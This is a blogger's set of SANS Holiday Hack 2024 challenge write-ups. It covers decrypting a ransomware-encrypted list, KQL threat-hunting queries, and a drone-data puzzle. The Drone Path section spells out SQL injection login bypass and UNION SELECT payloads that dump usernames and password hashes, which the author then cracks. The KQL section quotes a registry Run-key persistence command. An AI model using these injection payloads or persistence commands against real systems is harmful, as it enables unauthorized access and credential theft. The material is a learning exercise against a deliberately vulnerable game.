NY1pDZzZWUy9WSVhpOUM3MFhxNHB3YTVSdUZBdFY5dkJvOTB2RDJtK0YKeUlIbExVWGtMUnhGWlBQUVpOd3NBQ0Q4WW9SUFcvdzYwbjJ6N0J6QTVQY0laS05KbFpxYTlpeEJ1bkl4WlhJSQpqZDZmRHhPZVZqVTZ1c0t6U2Vvc29RQ2tFRnZobGtWSDZFSzZYZmg2WERGYXRBblp5RE5WUC9QUGloST0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K";

Base64 decoding that with Cyberchef - it's a beautiful RSA private key.

-----BEGIN RSA PRIVATE KEY-----

Key here

-----END RSA PRIVATE KEY-----

I remembered from another SANS class - SEC301 or SEC401 that when a preshared key is sent in transit, in order to protect that key, it's not sent in the clear.  First, it's encrypted with the public key - AKA key encryption key (kek) that I mentioned earlier.  As I recall, you usually need a private key and the nonce to decrypt it.  In this case, the nonce isn't necessary.

I did this in Cyberchef:

For the recipe, From Hex, then Decrypt RSA.  In the Decrypt RSA - put the nonce as the Key Password and the full Private Key in the Private key field.  Then added the encrypted key as the Input.

I got a 32 byte key and the nonce from before as a response.  To be honest, wasn't sure I was on the right track, so I asked someone and they challenged me to figure it out.  They asked the right questions and told me not to brute force it. :)  That's the beauty of these challenges.  Always awesome people willing to give you a hand.

Unfortunately, I didn't know what the algorithm was that the naughty_nice_list.csv.frostbit file was encrypted with.  Thankfully a kind soul gave me a nudge and hinted to use debug mode with the frostbit executable we were given.

AES CBC 256

Wouldn't you know - it's needs a 32 byte key and a 16 byte IV.

So I did this in Cyberchef as well. I used the naughty_nice_list.csv.frostbit file as the input.  The recipe was To Hex, and then AES Decrypt with the 32 byte key I decrypted earlier with Latin1 as the option.  Then an IV of 16 0's (Thankfully it was an easy to guess IV Lolz).  Mode CBC.  Input Hex, and Output Raw.

The child at 440 was:

Xena Xtreme

440,Xena Xtreme,13,Naughty,Had a surprise science experiment in the garage and left a mess with the supplies

Put that in the Decrypt Naughty Nice List in the badge.

Gold medal achieved.





Monday, November 25, 2024

SANS: Holiday Hack 2024: Act 2: Microsoft KC7: Elf Conflict

Microsoft KC7: Elf Conflict

Silver

Type let's do this to begin your KQL training.

let's do this

when in doubt take 10

Employees
| take 10 

How many elves did you find? (Apparently Santa and Mrs Claus count as elves in this universe).

90

Employees
| count 

What is the name of the Chief Toy Maker?

Shinny Upatree

Employees
| where role=='Chief Toy Maker'

Type operator to continue.

operator

How many e-mails did Angel Candysalt receive? 

31

Email
| where recipient == "angel_candysalt@santaworkshopgeeseislands.org
| count

How many distinct recipients were seen in the email logs from twinkle_frostington@santaworkshopgeeseislands.org? 

32

Email
| where sender has "twinkle_frostington@santaworkshopgeeseislands.org"
| distinct recipient
| count

How many distinct websites did Twinkle Frostington visit? 

4

To get the IP:

Employees
| where name == 'Twinkle Frostington'

Next, check the OutboundNetworkEvents

OutboundNetworkEvents
| where src_ip == "10.10.0.36"
| distinct url
| count

How many distinct domains in the PassiveDns records contain the word green? 

10

PassiveDns
| where domain contains 'green'
| distinct domain
| count

How many distinct URLs did elves with the first name Twinkle visit? 

8

let twinkle_ips =
Employees
| where name has "Twinkle"
| distinct ip_addr;
OutboundNetworkEvents 
| where src_ip in (twinkle_ips) 
| distinct url
| count

Answer 8 in KQL 101 in the badge.

Section 2: Operation Surrender - Alabaster's Espionage

Type surrender to continue:

surrender

Who was the sender of the phishing e-mail that set this plan into motion?

surrender@northpolemail.com

Email
| where subject contains "surrender"

How many elves from Team Wombley received the phishing email?

22

Email
| where subject contains "surrender"
| distinct recipient
| count

What was the filename of the document that Team Alabaster distributed in their phishing email?

Team_Wombley_Surrender.doc

Email
| where subject contains 'surrender'
| distinct link

Who was the first person from Team Wombley to click the URL in the phishing email? 

Joyelle Tinseltoe

Employees
| join kind=inner (
    OutboundNetworkEvents
) on $left.ip_addr == $right.src_ip // condition to match rows
| where url contains "Team_Wombley_Surrender.doc"
| project name, ip_addr, url, timestamp // project returns only the information you select
| sort by timestamp asc //sorts time ascending

What was the filename that was created after the .doc was downloaded and executed? 

keylogger.exe

ProcessEvents
| where timestamp between(datetime("2024-11-27T14:10:45Z") .. datetime("2024-11-27T14:12:45Z")) //you’ll need to modify this
| where hostname == "Elf-Lap-W-Tinseltoe"

Take your last answer and base64 encode it.

a2V5bG9nZ2VyLmV4ZQ==

let flag = "keylogger.exe";
let base64_encoded = base64_encode_tostring(flag);
print base64_encoded

Add a2V5bG9nZ2VyLmV4ZQ== to the Operation Silver part of the Microsoft KC7 Objective in the badge.

Silver achieved.

Gold

Section 3: Operation Snowfall - Team Wombley's Ransomware Raid

Type snowfall to begin

snowfall

What was the source IP associated with the password spray? 

59.171.58.12

AuthenticationEvents
| where result == "Failed Login"
| summarize FailedAttempts = count() by username, src_ip, result
| where FailedAttempts >= 5
| sort by FailedAttempts desc

How many unique accounts were impacted where there was a successful login from 59.171.58.12? 

23

AuthenticationEvents
| where src_ip=="59.171.58.12"
| where result=="Successful Login"
| distinct username
| count

What service was used to access these accounts/devices? 

RDP

AuthenticationEvents
| where src_ip=="59.171.58.12"
| where result=="Successful Login"
| distinct description

What file was exfiltrated on Alabaster's laptop? 

Secret_Files.zip

Attackers used RDP for the password spray at 2024-12-11T01:39:50Z, they did a little recon, but they didn't exfil the file until 12/16/24

AuthenticationEvents
| where src_ip=="59.171.58.12"
| where result=="Successful Login"
| where username=="alsnowball";
Employees
| where username=="alsnowball";
ProcessEvents
| where hostname == "Elf-Lap-A-Snowball"

What is the name of the malicious file that was run on Alabaster's laptop? 

EncryptEverything.exe

ProcessEvents
| where hostname == "Elf-Lap-A-Snowball"

Create the flag:

let flag = "EncryptEverything.exe";
let base64_encoded = base64_encode_tostring(flag);
print base64_encoded

Flag: RW5jcnlwdEV2ZXJ5dGhpbmcuZXhl

Add RW5jcnlwdEV2ZXJ5dGhpbmcuZXhl to the badge under the Microsoft KC7 Objective under Operation Snowball.

Section 4: Echos in the Frost: Tracking the Unknown Threat

Type stay frosty to begin:

stay frosty

What was the timestamp of the first phishing e-mail about breached credentils for Noel Boetie? 

2024-12-12T14:48:55Z

Email
| where recipient=="noel_boetie@santaworkshopgeeseislands.org"
| where subject contains "breach"

When did Noel Boetie click the link to the first file? 

2024-12-12T15:13:55Z

Email
| where recipient=="noel_boetie@santaworkshopgeeseislands.org"
| where subject contains "breach"
| distinct link;

https://holidaybargainhunt.io/published/files/files/echo.exe

Employees
| where name contains "Noel";
OutboundNetworkEvents
| where src_ip contains "10.10.0.9"

What was the IP for the domain where the file was hosted? 

182.56.23.122

PassiveDns
| where domain contains "holidaybargainhunt.io"

Let’s take a closer look at the authentication events. I wonder if any connection events from 182.56.23.122. If so what hostname was accessed? 

WebApp-ElvesWorkshop

AuthenticationEvents
| where src_ip=="182.56.23.122"

What was the script that was run to obtain credentials?  

Invoke-Mimikatz.ps1

In the process command line it shows powershell being used to download this script..

ProcessEvents
| where hostname=="WebApp-ElvesWorkshop"

What is the timestamp where Noel executed the file? 

2024-12-12T15:14:38Z

One of the filenames was echo.exe - Looking at the process events, that file was ran at: 2024-12-12T15:14:38Z

ProcessEvents
| where hostname=="Elf-Lap-A-Boetie"

What domain was holidaycandy.hta downloaded from? 

compromisedchristmastoys.com

OutboundNetworkEvents
| where url contains "holidaycandy.hta"

What was the first file that was created after extraction? 

sqlwriter.exe

After the holidaycandy.hta file is executed, the following registry key is created.

New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "MS SQL Writer" -Force | New-ItemProperty -Name "frosty" -Value "C:\Windows\Tasks\sqlwriter.exe" -PropertyType String -Force

Notice that sqlwriter.exe is referenced.

ProcessEvents
| where hostname=="Elf-Lap-A-Boetie"

What is the name of the property assigned to the new registry key? 

frosty

Again, a registry key is created.

New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "MS SQL Writer" -Force | New-ItemProperty -Name "frosty" -Value "C:\Windows\Tasks\sqlwriter.exe" -PropertyType String -Force

The name is frosty.

ProcessEvents
| where hostname=="Elf-Lap-A-Boetie"

Create the flag:

let flag = "frosty";
let base64_encoded = base64_encode_tostring(flag);
print base64_encoded

The flag is: ZnJvc3R5

Add ZnJvc3R5 to the Echos in the Frost part of the Microsoft KC7 Objective in the badge.

Gold Achieved.


SANS: Holiday Hack 2024: Act 2: Drone Path Terminal

Drone Path

Silver

This terminal is near Chimney Scissorsticks in the game.

Hey. Psst, over here. Hey, I'm Chimney Scissorsticks.

I'm not liking all the tension brewing between the factions, so even though I agreed with how Wombley was handling things, I get the feeling this is going to end poorly for everyone. So I'm trying to get this data to Alabaster's side. Can you help?

Wombley's planning something BIG in that toy factory. He's not really making toys in there. He's building an armada of drones!

They're packed with valuable data from the elves working on the project. I think they hide the admin password in the drone flight logs. We need to crack this to prevent this escalating snowball showdown.

You'll be working with KML files, tracking drone flight paths. Intriguing, right? We need every detail to prepare for what’s ahead!

Use tools like Google Earth and some Python scripting to decode the hidden passwords and codewords locked in those files.

Ready to give it a go? It’s going to be a wild ride, and your skills might just turn the tide of this conflict!

The Elf Drone Workshop Terminal goes here: Elf Drone Workshop

When first accessing the Terminal:

Welcome to the Elf Drone Workshop!  Upload your drone logs for other analysts to analyze!  Our elves are working around the clock to get toys ready for Santa's sleigh.  Only verified pilots have access to the logs so remember to authenticate yourself.  

There's a drop-down Menu at the top right.  This menu has the following options: Login, FileShare, and Home.  

If the browser window is minimized, the navigation is slightly different: after clicking the 3 lines menu at the top right, there's a dropdown Menu that appears on the left instead.  

Go to the FileShare menu option and download the file.  

Many challenges have a SQL injection component.

Select the Login option and try Username: ' OR 1=1 -- and Password: abc

It appears as though this site is vulnerable to SQL injection because that injection above causes a successful login.  The menu options changed.  Now they are Home, FileShare, Workshop, Profile, Admin Console, and Logout.  Check to see if there were other files available in the file share.  There aren't.  Look at the Profile menu option.  Nothing interesting there.  Admin Console requires a code..  The Workshop page looks kind of interesting.  Elf Drone Workshop: Search for a Drone.  Then there's a textbox with a Search button.  Below that it displays "Drone Details".  Since it's the same developer that made the login screen, it could potentially be vulnerable to sql injection as well.  ' OR 1=1 -- in the search bar.  It outputs the following.

  • Name: ELF-HAWK, Quantity: 40, Weapons: Snowball-launcher
  • Name: Pigeon-Lookalike-v4, Quantity: 20, Weapons: Surveillance Camera
  • Name: FlyingZoomer, Quantity: 4, Weapons: Snowball-Dropper
  • Name: Zapper, Quantity: 5, Weapons: CarrotSpike

Comments for Zapper

  • This is sort of primitive, but it works!
Looking at the traffic, it goes here to do that.
https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=%27%20OR%201=1

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' OR 1=1

What if we change the query.

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' OR 1=1 ORDER BY 1 -- 

The output is: []

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' OR 1=1 ORDER BY 2 -- 

Same output

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' OR 1=1 ORDER BY 3 -- 

Same output

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' OR 1=1 ORDER BY 4 -- 

Error Message

This table has three columns.

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' OR 1=1 UNION SELECT null,null,null -- 

Output:

[
    {
        "name": null,
        "quantity": null,
        "weapons": null
    },
    {
        "name": "ELF-HAWK",
        "quantity": "40",
        "weapons": "Snowball-launcher"
    },
    {
        "name": "FlyingZoomer",
        "quantity": "4",
        "weapons": "Snowball-Dropper"
    },
    {
        "name": "Pigeon-Lookalike-v4",
        "quantity": "20",
        "weapons": "Surveillance Camera"
    },
    {
        "name": "Zapper",
        "quantity": "5",
        "weapons": "CarrotSpike"
    }
]

Get rid of extra output we don't need.

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' OR 1= 0 UNION SELECT null,null,null -- 

Output:

[
    {
        "name": null,
        "quantity": null,
        "weapons": null
    }
]

Is there a users table?  Notice there is not space between users and the --.

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' OR 1= 0 UNION SELECT null,null,null from users-- 

This output means there is a users table.  If there wasn't, there would be an error returned.
[
    {
        "name": null,
        "quantity": null,
        "weapons": null
    }
]

Testing to see what can be added to each field.

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' OR 1= 0 UNION SELECT 1,null,null from users-- 

[
    {
        "name": 1,
        "quantity": null,
        "weapons": null
    }
]

1 is allowed in the first field.  Will it accept a username field?

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' OR 1= 0 UNION SELECT username,null,null from users-- 

Error message, so no, it won't allow username.

What about the second field?  Will it allow username field?

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' OR 1= 0 UNION SELECT null,username,null from users--

Yup.

[
    {
        "name": 1,
        "quantity": "brynne",
        "weapons": null
    },
    {
        "name": 1,
        "quantity": "filo",
        "weapons": null
    },
    {
        "name": 1,
        "quantity": "fritjolf",
        "weapons": null
    },
    {
        "name": 1,
        "quantity": "lira",
        "weapons": null
    },
    {
        "name": 1,
        "quantity": "pip",
        "weapons": null
    },
    {
        "name": 1,
        "quantity": "sprigg",
        "weapons": null
    },
    {
        "name": 1,
        "quantity": "tylwen",
        "weapons": null
    }
]

What about passwords?

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' OR 1= 0 UNION SELECT null,password,null from users--

Yes it will. >:)

    {
        "name": 1,
        "quantity": "2bb7ab7713cc012f02eb03c95f6e4443",
        "weapons": null
    },
    {
        "name": 1,
        "quantity": "2fd03c8ea542a7fd85ca4ebbcc13d5ca",
        "weapons": null
    },
    {
        "name": 1,
        "quantity": "3c3a4f722ec77c1712941003443a4d83",
        "weapons": null
    },
    {
        "name": 1,
        "quantity": "4f7f1b7c49fa2b0cc22e2d2599f1f2e5",
        "weapons": null
    },
    {
        "name": 1,
        "quantity": "9eb6c13b1b18bc785ffb84d977bf5499",
        "weapons": null
    },
    {
        "name": 1,
        "quantity": "b9af6f935826ae1a89ecba72476fbcba",
        "weapons": null
    },
    {
        "name": 1,
        "quantity": "e54efff9e6258bef3eb35f093e3bae00",
        "weapons": null
    }
]

Looking at the hashes, only two show up as being cracked in online crackers: GUMDROP1 and RumbleInTheJungle.

Trying those passwords for the users:

fritjolf: GUMDROP1
pip: RumbleInTheJungle

Alternatively, the file in the file share can be downloaded and opened in Google Earth.  The flight path of that fml file spells out GUMDROP1.

Login as fritjolf - the file share still shows the same file.  However, in this profile there's a different file.

Note to self, remember drone name, it is the same location as secret snowball warehouses /files/secret/Preparations-drone-name.csv

Go to https://hhc24-dronepath.holidayhackchallenge.com/files/secret/Preparations-drone-name.csv

Download the file. (I already knew the name given that through the SQL injection, the drone name is called Elf-Hawk.  I downloaded that file already.  I didn't know that that's what this was alluding to though because I didn't follow the intended path to solve this one.)

Import the Preparations-drone-name.csv file into Google Earth.  Google has a nice wizard that assists with importing it.  The file is delimited, it's delimited by commas, the encoding is UTF-8, then check the rows/columns at the bottom to make sure they look ok.  Click next.

Then tell it the latitude and longitude which are the OSD.latitude and OSD.longitude respectively.  Click Finish.  It will ask if a template should be applied.  Click No.

This will load the data in.  On the left-hand side under Temporary Places, it will display Preparations-drone-name.csv.  Check the box next to it, and the points will show up on the globe.

At first, there doesn't seem to be a discernable pattern.  However, clicking on each point in the left-hand navigation bar, and looking at the landmarks shows letters.  Example, at the first point there are trees that look like the letter E.  At the second point there are trees or bushes that look like the letter L.  Keep looking at all the points, and eventually they spell out "ELF-HAWK".

Try the same SQL Injection on the Workshop page - just in case fritjolf could see different things.  Logged into pip and looked at their pages as well.  Neither one of them had access to the AdminConsole without a code.

Look at the comments for all the drones.  The important comments seem to be:

Comments for Pigeon-Lookalike-v4
This is a great drone for surveillance, but we need to keep it out of the rain.
I cant believe we are using pigeons for surveillance. If anyone finds out, there will most likely be a conspiracy theory about it.
I heard a rumor that there is something fishing with some of the files. There was some talk about only TRUE carvers would find secrets and that FALSE ones would never find it.

Drone Details
These drones will work great to find Alabasters snowball warehouses. I have hid the activation code in the dataset ELF-HAWK-dump.csv. We need to keep it safe, for now it's under /files/secret.
We need to make sure we have enough of these drones ready for the upcoming operation. Well done on hiding the activation code in the dataset. If anyone finds it, it will take them a LONG time or forever to carve the data out, preferably the LATTER.

Open up ELF-HAWK-dump.csv in Google Earth Pro.  Unfortunately, on a globe, it doesn't really make much sense.  The hint about LONG and LATTER seems to refer to longitude and latitude.  Maybe mapping those on a 2D plane would work?  

There's a tool for studying Geographic Information called QGIS on Windows.  https://www.qgis.org/download/

In QGIS, go to Layer>Add Layer>Add Delimited Text Layer.  In the File Name, add the csv.  Encoding should be UTF-8.  In the File format, make sure the CSV radio is set.  In Geometry Coordinates, make sure that the Point Coordinates are set to what they should be Latitude: OSD Latitude and Longitude: OSD Longitude.  Geometry CRS should be set to Project CRS: EPSG:4326 - WGS 84.  Click Add.

Immediately after Add is clicked, a phrase appears: DroneDataAnalystExpertMedal.



Add this word to the badge for the Drone Path Terminal.

Silver Medal Achieved.

Gold

The path to the gold medal was given in the comments for the drones.

Comments for Pigeon-Lookalike-v4

This is a great drone for surveillance, but we need to keep it out of the rain.
I cant believe we are using pigeons for surveillance. If anyone finds out, there will most likely be a conspiracy theory about it.
I heard a rumor that there is something fishing with some of the files. There was some talk about only TRUE carvers would find secrets and that FALSE ones would never find it.

Looking at the data in the ELF-HAWK-dump.csv, there are a lot of fields with TRUE and FALSE.  The comment mentions 'carvers'.  This could and likely indicates carving out the TRUE/FALSE data.  When thinking of TRUE/FALSE, 1/0 comes to mind, which is associated with binary.  That means there's binary data hidden in the csv.

Uploading the csv to CyberChef, it's possible to use CyberChef to carve out this data.  The recipe is the following:

https://gchq.github.io/CyberChef/#recipe=Regular_expression('User%20defined','TRUE%7CFALSE',true,true,false,true,false,false,'List%20matches')Remove_whitespace(true,true,true,true,true,true)Find_/_Replace(%7B'option':'Regex','string':'TRUE'%7D,'1',true,true,false,false)Find_/_Replace(%7B'option':'Regex','string':'FALSE'%7D,'0',true,true,false,false)Remove_whitespace(true,true,true,true,true,false)From_Binary('Space',8)

Upload the ELF-HAWK-dump.csv file into CyberChef as input with that recipe.

Once that is done, an ascii art picture of a drone and the words CODEWORD=EXPERTTURKEYCARVERMEDAL


Add this phrase to the badge for the Drone Path Terminal.

Gold Medal Achieved.